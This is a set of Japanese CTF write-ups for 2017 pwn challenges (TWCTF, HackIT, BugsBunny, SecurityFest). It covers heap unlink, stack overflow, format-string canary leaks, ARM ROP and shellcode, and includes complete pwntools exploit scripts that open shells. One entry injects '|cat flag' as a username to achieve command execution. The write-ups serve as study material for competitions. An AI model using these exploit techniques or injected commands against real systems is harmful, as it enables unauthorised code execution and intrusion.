TWCTF 2017 [Pwn 86] simple note

Tokyo Westerns CTF 2017 の Pwn問です。

開催期間中に解けませんでしたが供養のため。

観察

セキュリティ機構

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file simple_note
simple_note: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped

さて今回の問題はHeap Exploit問のようです。

editコマンドは strlen で長さを数えたあと、その長さ分の文字列を入力として受け付けるようです。

例えば、addコマンドにより 0x88 のような大きさの文字列を二回とった場合(この場合mallocでは0x90の長さの領域が確保されるが、実際にはオフセット0x88部分に次の領域のサイズが格納されるようになる。)

以下のようなデータの配置になります。

...
0x1b47000:  0x0000000000000000  0x0000000000000091
0x1b47010:  0x4141414141414141  0x4141414141414141
0x1b47020:  0x4141414141414141  0x4141414141414141
0x1b47030:  0x4141414141414141  0x4141414141414141
0x1b47040:  0x4141414141414141  0x4141414141414141
0x1b47050:  0x4141414141414141  0x4141414141414141
0x1b47060:  0x4141414141414141  0x4141414141414141
0x1b47070:  0x4141414141414141  0x4141414141414141
0x1b47080:  0x4141414141414141  0x4141414141414141
0x1b47090:  0x4141414141414141  0x0000000000000091
0x1b470a0:  0x4141414141414141  0x4141414141414141
0x1b470b0:  0x4141414141414141  0x4141414141414141
...

バイナリはリトルエンディアンなので、メモリはひとつの塊(8byte)の中では右から左(アドレスが小さい方から)に進んでいきます。そのため アドレス 0x1b47090 の文字列 0x4141414141414141 と アドレス 0x1b47098 の文字列は 0x0000000000000091 は隣接しているため、 実際のところ 0x41414141414141419100000000000000 のようになっていると見ることが出来ます。

さて strlen では文字列が終端文字 0x00 に到達するまで長さをかぞえます。ということは、つまり今回の場合では次の領域のサイズを示すバイトを上書きして入力できるということになります。

あとはこれを用いて、領域をオーバーラップさせunlink attackにつなげてgot領域の atoi 関数を system 関数に書き換えればシェルが取れます。

unlink attackについてはbataさんの資料が詳しいです。

katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck

Exploit

以下のExploitではわざわざ領域をオーバーラップさせることで、LIBCのアドレスをリークしていますが実際にはaddコマンドで入力した文字列が終端処理されないため、単にfreeしてLIBC上のアドレスを出した後、8byteだけ文字を入力するなどすればLIBCのリークは可能だと思います。

from pwn import *
import sys

#context.log_level = "debug"
def add_note(size, content):
    conn.sendafter("Your choice:", "1")
    conn.sendafter("Please input the size:", str(size))
    conn.sendafter("Please input your note:", content)

def delete_note(index):
    conn.sendafter("Your choice:", "2")
    conn.sendafter("Please input the index:", str(index))
    
def show_note(index):
    conn.sendafter("Your choice:", "3")
    conn.sendafter("Please input the index:", str(index))

def edit_note(index, content):
    conn.sendafter("Your choice:", "4")
    conn.sendafter("Please input the index:", str(index))
    conn.sendafter("Please input your note:", content)

#size 0x7f >
def exploit():
    add_note(0x88, 'A' * 0x88) #idx0
    add_note(0x88, 'A' * 0x88) #idx1
    pause()
    add_note(0x88, 'A' * 0x88) #idx2
    delete_note(1)
    add_note(0x88, 'A' * 0x8) #idx1
    show_note(1)
    conn.recvuntil('Note: \n')
    LEAK = u64(conn.recv(14)[-6:] + '\x00' + '\x00')
#>>> hex(0x7f5ce68adb78 - 0x7f5ce64e9000)
#'0x3c4b78'
    LIBC = LEAK - 0x3c4b78
    log.success("LEAK :0x%x" % LEAK)
    log.success("LIBC :0x%x" % LIBC)

    add_note(0x88, 'A' * 0x88)#idx3
    add_note(0xf8, 'A' * 0xf8)#idx4 0x00
    add_note(0x88, 'A' * 0x88)#idx5 0x100
    add_note(0x88, 'A' * 0x88)#idx6 0x190
    content = 'A' * 0x18 + p64(0x71)
    content += 'A' * (0x88 - len(content))
    add_note(0x88, content)#idx7 0x220

    edit_note(3, 'A' * 0x88 + '\x41\x02')
    delete_note(4)
    content = 'A' * 0x108 + p64(0x81)
    content += p64(0x6020c0 + 0x8 * (5 - 3)) + p64(0x6020c0 + 0x8 * (5 - 2))
    content += 'A' * 0x60 + p64(0x80) + p64(0xb0)
    content += 'A' * (0x238 - len(content))
    add_note(0x238, content)
    delete_note(6)
#0088| 0x602058 --> 0x7f680f492e80 (<atoi>:
    edit_note(5, '\x58\x20\x60')
#0000000000045390 W system
    edit_note(2, p64(LIBC + 0x45390))
    conn.interactive()

def experiment():
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)

    delete_note(1)
    pause()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "pwn1.chal.ctf.westerns.tokyo"
        PORT = 16317
        conn = remote(HOST, PORT)
    else:
        conn = process("./simple_note", env={"LD_PRELOAD":"./libc.so.6"})
    exploit()
    #experiment()

フラグは時間内に取れなかったので知りません。

TWCTF 2017 [Pwn 23] Just do it!

Tokyo Westerns CTF 2017 の warmup問題です。

観察

セキュリティ機構の確認

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped

静的解析をしてみると、ebp - 0x20 の位置に入力した文字列が、 ebp - 0xc の位置に間違ったパスワード入力した時に出るメッセージのアドレスが格納されているようです。

また 0x20 - 0xc = 0x14 であり、入力出来る文字数は 0x20 なので ebp - 0xc の位置にフラグの文字列のアドレスを入れると良さそうです。

今回の問題の場合、flagの文字列は 0x0804a080 にあるようなのでそれを入れます。

Exploit

観察 で計画した通りのExploitコードが以下です。

from pwn import *

HOST = "pwn1.chal.ctf.westerns.tokyo"
PORT = 12345
#conn = process("./just_do_it")
conn = remote(HOST, PORT)
payload = "A" * (0x20 - 0xc)
#s obj.flag
#[0x0804a080]>
payload += p32(0x0804a080)
conn.sendline(payload)
conn.stream()

フラグです。

TWCTF{pwnable_warmup_I_did_it!}

余談ですがこの問題は、自分の頭の中ではROPで解いたつもりだったのですが、実際は上記に示すような解法になっていたようです。(とてもアホだった。)

HackIT CTF 2017 [Pwn 200] Terminator canary

観察

[Pwn 150]と引き続きこちらのバイナリもARMのようです。

»»»» file pwn200
pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=d78f4d65bc199dc2216d5076b7944d7707c6163a, not stripped

まずはセキュリティ機構のチェックをします。

»»»» gdb -q pwn200
Reading symbols from pwn200...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANRYとNXBitが有効なようです。 今回も statically linked ですので、条件を揃えた場合のみシェルコードが実行可能ということを理解してExploitコードを組み立てましょう。

まずは動的解析をしてみました。(実際にやるときはどちらでもいいとは思いますが、僕の場合は動的解析で動きを掴んで詳細を追うために静的解析に取り組むほうが多いです。)

その結果 CHECK> の直後の入力で書式指定文字列攻撃(FSA)が、 FIGHT> の直後の入力でBuffer Over Flowができることが分かりました。ただしBoFはCANARYの値を特定できない限りは利用できません

さてFSAが可能なことがわかっているため、次は使えそうなオフセットを次のようなスクリプトで探します。

from pwn import *

context.log_level = "debug"
for i in range(1,1000):
    conn = process('./pwn200')
    #conn = remote(HOST, PORT)
    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
    addr = conn.recvuntil('I need')[4:-6]
    if not '0' == addr:
        print(i)
        print(addr)
        conn.close()

この結果以下の有用なオフセットを発見しました。

オフセット   3: 入力先のアドレスのポインタ
オフセット   5: 入力先
オフセット 520: _libc_start_main()の途中のアドレス(つまり、main()の呼び出し元)
オフセット 534: CANRAYの値のポインタ

このオフセットは試行錯誤のすえに手に入れたものなので、実際にやるときは必要になってから発見するのがいいと思います。

Exploit

前述したようにこの問題はシェルコードを実行する環境を整えないとシェルコードは使えません。そのためまずはCANARYを特定して、BOFを発生させてROPにつなげる方法について検討します。

まず、CANARYを特定したいところですが、ひとつ問題があります。それはCANARYの最下位のバイトがNULLバイトであるということです。(これは必ずそうなるようです。自分はあまり詳しくないので、他のアーキテクチャでもこうなるのかはわかりません。)

これを回避するためにまず以下のようなペイロードで最下位のバイトを書き換えておきます。

'%65x%534$hhn'

さらにこのペイロードに以下のペイロードを追加することでCANARYをLEAKします。

'%534$s'

最後に以下のペイロードを追加してCANARYの値を元に戻します。元に戻しておかないと、この時点でBoFが検出されることになってしまいます。

'%179x%534$hhn'

値を変更元より小さい値にしたいときは数値をオーバーフローさせることでそれが可能になります。

さて、これでCANARYをLEAKすることができました。またCANARYは今回の場合は入力バッファーの最後につくようなので、'A' * 1024(この値は静的解析などで調べる)のあとにCANARYを配置してBoFのオフセットを探しましょう。

BoFのオフセットが特定できたらあとは、 execve("/bin//sh", NULL, NULL) を実行して終わりです。

今回はARMアーキテクチャなので、レジスタr7にexecve()のシステムコール番号11を入れ、引数をr0, r1, r2の順番に入れれば完了です。

また文字列 "/bin//sh" は入力に含めておいて、オフセット3を用いることでそれを指すようにしておきます。

ARMアーキテクチャには ret 命令のようなものはないため、 bx {reg} 命令を用いてROPを実行します。最後に割り込み処理 svc 0 を実行することでシステムコールを呼ぶことが出来ます。

以下が最終的な Exploitコードです。参考のため、オフセット確認用のスクリプトなどもコメントアウトして残しておきました。

from pwn import *

#context.log_level = "debug"
HOST = '165.227.98.55'
PORT = 3333
#3 stack pointer 5
#for i in range(1,1000):
#    conn = process('./pwn200')
#    #conn = remote(HOST, PORT)
#    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
#    addr = conn.recvuntil('I need')[4:-6]
#    if not '0' == addr:
#        print(i)
#        print(addr)
#        conn.close()
#for i in range(1010, 2000):
#    print(i)
#    #conn = remote(HOST, PORT)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', 'AAAA')
#    conn.sendlineafter('and your motorcycle.', 'A' * i)
#    conn.stream()
#    conn.close()
#conn = remote(HOST, PORT)
#check offset
#for i in range(100):
#    print(i)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', '%1536x%520$hn')
#    conn.sendlineafter('and your motorcycle.', 'A')
#    conn.sendlineafter('CHECK> ', '%65x%534$hhn%534$s%179x%534$hhn')
#    conn.recvuntil('A')
#    canary = u32('\x00' + conn.recv(3))
#    payload = 'A' * 1024
#    payload += p32(canary)
#    payload += 'A' * i
#    conn.sendlineafter('FIGHT> ', payload)
#    conn.interactive()
# offset 8
#conn = process(['qemu-arm-static', '-g', '1234', 'pwn200'])
#conn = process(['qemu-arm-static','pwn200'])
conn = remote(HOST, PORT)
conn.sendlineafter('CHECK> ', '%1536x%520$hn%3$x')
STACK = int(conn.recvuntil('I')[-9:-1], 16)
log.success("STACK :0x%x" % STACK)
conn.sendlineafter('and your motorcycle.', 'A')
payload = '%65x'
payload += '%534$hhn%534$s%179x%534$hhn'
payload += '/bin//sh\x00'
conn.sendlineafter('CHECK> ', payload)
conn.recvuntil('A')
STACK_BINSH = STACK + len(payload) - 9
log.success("STACK_BINSH :0x%x" % STACK_BINSH)
CANARY = u32('\x00' + conn.recv(3))
log.success("CANARY :0x%x" % CANARY)
payload = 'A' * 1024
payload += p32(CANARY)
payload += 'A' * 12
#  0x00054c78           9040bde8  pop {r4, r7, lr}
#  0x00054c7c           1eff2fe1  bx lr
payload += p32(0x00054c78)
payload += p32(0)
payload += p32(11)
#  0x00070068           0140bde8  pop {r0, lr}
#  0x0007006c           1eff2fe1  bx lr
payload += p32(0x00070068)
payload += p32(STACK_BINSH)
#  0x0006faf8           0640bde8  pop {r1, r2, lr}
#  0x0006fafc           920003e0  mul r3, r2, r0
#  0x0006fb00           031041e0  sub r1, r1, r3
#  0x0006fb04           1eff2fe1  bx lr
payload += p32(0x0006faf8)
payload += p32(0)
payload += p32(0)
#  0x00070590           0240bde8  pop {r1, lr}
#  0x00070594           1eff2fe1  bx lr
payload += p32(0x00070590)
payload += p32(0)
#0x000101b8   # 4: svc 0
payload += p32(0x000101b8)
conn.sendlineafter('FIGHT> ', payload)
conn.interactive()

フラグ h4ck1t{Sarah_would_be_proud}

FSAとBoFを組み合わせた問題は初めて解いたので面白かった。

HackIT CTF 2017 [Pwn 150] Today’s moon phase

観察

まずは file でどんなバイナリか確認します。

»»»» file pwn150                                                                                                    pwn150: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=5a8f4e74e4fd679377d86ea567c6da3701b1bd4a, not stripped

ARMアーキテクチャのバイナリのようです。これを実行する場合はubuntuでは qemu-user-static をインストールすることで実行できます。このパッケージは様々なアーキテクチャに対応しているので他のアーキテクチャのバイナリもこれひとつで実行できるはずです。

次にバイナリのセキュリティ機構について確認します。

 »»»» gdb -q pwn150                                                                                                                          0|00:31:26
Reading symbols from pwn150...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXBitがついているようです。この時点で dynamically linked の場合はシェルコードを流す解法でないことが分かります。 今回のバイナリの場合、 statically linked のため、もしかしたら _dl_make_stack_executable()mmap() を使うことで、シェルコードが利用できる可能性もあります。とりあえずこのことは頭の片隅に置いて、次にディスアセンブリしてみましょう。(もちろん、 dynamically linked でも上記の関数は使えますが、それらを使わずに system()one gadget RCE を使うほうが楽なことが多いです。)

ディスアセンブリには radare2 を使います。 r2 -w -a arm pwn150 のように -a オプションでアーキテクチャを指定してディスアセンブリ出来ます。 -w はバイナリに書き込み可能にするためのオプションです。 -w オプションを使うと、開いている間はバイナリの実行ができなくなるので、コピーしたものを解析するのがおすすめです。

statically linked のため関数が多かったためいきなり、 sym.main を見ることにしました。 VV コマンドでグラフ表示してみていくと、 sym.get_flag という関数があるようです。この問題のExploitではこの関数の呼び出しを目標にして、脆弱性を探します。

続いて、動的解析に入ります。結論から言うと、 What is your name? の直後の入力には脆弱性がありませんが、 そのあと選択肢を答えていった後の Please, enter length of your message: の直後の入力で Buffer Over Flow を起こせるようです。

BoFを利用するため、オフセットを調べたいところですが残念ながらこの時はデバッガーの使い方を知りませんでした。そのため一文字ずつ送る文字を増やしていき、SEGVの起こる位置を調べてオフセットを確認しました。

(その後に分かったことですが、 qemu-arm-static -g {port} {exec_file} でgdbserverを立てることが可能です。また qemu-arm-static -strace {exec_file} でstraceと同様の効果が得られます。)

オフセットを調べることが出来たので後はreturn先のアドレスに get_flag() 関数を仕込めばExploitの完成です。

Exploit

とくにBoFの起こし方は x86/x86_64 アーキテクチャなどと変わらないため、オフセット分を埋めて get_flag() のアドレスを仕込みます。また入力には長さを求められますが、そこは -1 などにしておけば問題ないです。

最終的なExploitコードは次のようになりました。

from pwn import *

HOST = "165.227.98.55"
PORT = 2222
#conn = process(['strace', 'qemu-arm-static', './pwn150'])
conn = remote(HOST, PORT)
conn.sendlineafter('What is your name?', 'A')
conn.sendlineafter('Enter Y or N:', 'Y')
conn.sendlineafter('Please, enter length of your message:', '-1')
payload = 'A' * 532
payload += p32(0x104d8)
log.success("get_flag()")
conn.sendline(payload)
conn.stream()
conn.close()

Flag h4ck1t{Astronomy_is_fun}

この問題はARMでしたが、実行環境が整えば x86/x86_64 と何ら変わらないやり方でいける問題でした。

bugsbunnyctf2017 [Pwn 200] Pwn200

観察

まずはセキュリティ機構を調べてみましょう。

 »»»» gdb -q pwn200                                                                                                                          0|23:05:18
Reading symbols from pwn200...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

実行するとただ文字を受け付けるだけのようでした。バッファオーバーランが出来るか試します。

 »»»» ./pwn200                                                                                                                               0|22:41:00
Welcome to BugsBunnyCTF!
Its all easy you should solve it :D?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
fish: Job 5, './pwn200' terminated by signal SIGSEGV (Address boundary error)

セグフォが来ました。今回の脆弱性はバッファーオーバーランのようです。

BOFなのでオフセットを調べたいところですがまずはバイナリをチェックしてみましょう。

radare2を使って、解析をして(aaaa)、関数一覧を見ます(afl)。

 »»»» r2 -w pwn200_r2                                                                                                                        0|23:08:08
 -- Please remove pregnant women, pregnant children, and pregnant pets from the monitor.
[0x080483a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x8048000 0x8049d58
Using vmin 0x8048000 and vmax 0x804a02c
aav: using from to 0x8048000 0x8049d58
Using vmin 0x8048000 and vmax 0x804a02c
[x] Analyze value pointers (aav)
[Deinitialized mem.0x100000_0xf0000 functions (afta)unc.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Type matching analysis for all functions (afta)
[0x080483a0]> afl
0x08048310    3 35           sym._init
0x08048350    1 6            sym.imp.read
0x08048360    1 6            sym.imp.puts
0x08048370    1 6            sym.imp.__libc_start_main
0x08048380    1 6            sym.imp.setvbuf
0x08048390    1 6            sub.__gmon_start___252_390
0x080483a0    1 33           entry0
0x080483d0    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    4 43           sym.deregister_tm_clones
0x08048410    4 53           sym.register_tm_clones
0x08048450    3 30           sym.__do_global_dtors_aux
0x08048470    4 43   -> 40   sym.frame_dummy
0x0804849b    1 29           sym.init
0x080484b8    1 30           sym.HEYy
0x080484d6    1 59           sym.lOL
0x08048511    1 46           sym.main
0x08048540    4 93           sym.__libc_csu_init
0x080485a0    1 2            sym.__libc_csu_fini
0x080485a4    1 20           sym._fini

とりあえずsym.mainから見ていきます。

[0x080483a0]> s sym.main
[0x08048511]> VV

中では sym.initsym.HEYysym.lOL を順に呼び出してるだけのようでした。

さらにそれぞれの関数に飛んで読むと sym.lOL でread()を呼び出しているようです。

ローカル変数としてはdword(4byte)のものを4つ合計16byteを入力用としてとっているものの、実際には0x80=128byte分の入力を受け付けているため、バッファーオーバーランを起こすようです。

観察を進めます。スタック領域はleave命令前ではこのようになっています。

ローカル変数0
ローカル変数1
ローカル変数2
ローカル変数3
以前のebpの値(最初でpushしている)
呼び出し元の関数のポインタ

leave命令後ではebpは以前のebpの値に戻り、espは呼び出し元の関数のポインタを指すようになります。(つまりleave前のebpの値の一つ先(4byte後)のアドレスを指す)

このような構成になっていることから次のことが可能です。

  1. ebpの値を任意の値に書き換えられる。
  2. 呼び出し元の関数のポインタ以後を書き換えることでreturn oriented programmingができる。

今回はこの2つを使ってシェルを取ります。

残る問題はshellcodeをどこに置くかですが

ASLRが効いていて、stack領域が特定できないと仮定してかつPIEが無いことから

実行バイナリの書き込み可能かつ実行可能の領域を探してそこにshellcodeを置きます。

これを探すためにまずバイナリを実行して、pwntoolsのpause()関数を使うなりしてバイナリを止めておいて

cat /proc/{pid}/maps をします。

すると以下の領域が目的として合致していることがわかります。

0804a000-0804b000 rwxp

ただし、radare2で見ると

[0x080483a0]> CC
...
0x0804a00c data Cd 4
0x0804a010 data Cd 4
0x0804a014 data Cd 4
0x0804a018 data Cd 4
0x0804a024 data Cd 4
...

0x0804a00c~0x0804a028 間にはshellcodeを置かないようにしておきます。(多分意味はないですが。)

自分の解法では0x0804a100 からshellcodeを配置します。

Exploit!

いよいよExploitに入ります。やることは

  1. ebpと次の関数を指すポインタを書き換えてread関数でshellcodeを読み込めるようにする。
  2. shellcodewを書き込んでshellcodeの先頭に飛ばす

の2つです。

まず1のコードです。

from pwn import *

#context.log_level = 'debug'
HOST = '54.153.19.139 '
PORT = 5254
#conn = remote(HOST, PORT)
conn = process('./pwn200')
pause()
payload = 'A' * 4 * 6
payload += p32(0x0804a100) #使用する実行可能領域のアドレス
payload += p32(0x080484dc) #read関数の数個手前のアドレス
conn.sendafter('Its all easy you should solve it :D?', payload)

次に2のコードです。

payload = open('./binsh4').read() #ハリネズミ本のサポートサイトの作成法を見て作っておいたshellcode。
payload += '\x00' * (4 * 7 - len(payload))
payload += p32(0x08048747) #espのpaddingとして適当なアドレス、念の為ret命令を指すようにしておいた。
payload += p32(0x08048747) #上に同じ。
payload += p32(0x08048747) #上に同じ。
payload += p32(0x0804a0e8) #shellcodeの先頭のアドレス、ローカル変数0はebp - 0x18を指す。
conn.send(payload)
conn.interactive()

最後にこれらのコードを合わせて、

from pwn import *

#context.log_level = 'debug'
HOST = '54.153.19.139 '
PORT = 5254
#conn = remote(HOST, PORT)
conn = process('./pwn200')
pause()
payload = 'A' * 4 * 6
payload += p32(0x0804a100)
payload += p32(0x080484dc)
conn.sendafter('Its all easy you should solve it :D?', payload)
payload = open('./binsh4').read()
payload += '\x00' * (4 * 7 - len(payload))
payload += p32(0x08048747)
payload += p32(0x08048747)
payload += p32(0x08048747)
payload += p32(0x0804a0e8)
conn.send(payload)
conn.interactive()

を実行してシェルが取れます。

flagは /home/pwn200/flagcat して

Bugs_Bunny{Its_all_about_where_We_Can_Put_Our_Shell:D!}

でした。

SecurityFest CTF 2017 [Pwn 50] Ping

SecurityFest CTF 2017 に チームHarekaze で参加しました。 チームの総得点は1660点で自分はそのうちの250点解きました。

Ping

サーバーに接続するとusernameを入力してログインすることでIPをセットして

pingを叩けるプログラムで遊べます。ログアウトしたあとにもう一度ログインすることも出来ます。

flagを手に入れる裏ワザ

  1. まずログインして適当なIPをセットしてログアウトする。
  2. プログラムを終了するか聞かれるのでN(o)と入力する。
  3. もう一度usernameを聞かれるので|cat flagと入力してログインする。
  4. メニュー2を選んでPingする。
  5. flagが手に入る!!!

flag SCTF{p1ng_p0ng_h3r3_1s_4_fl4g}

仕組みが分かり気分が乗っていたらwriteupに詳細を記述します。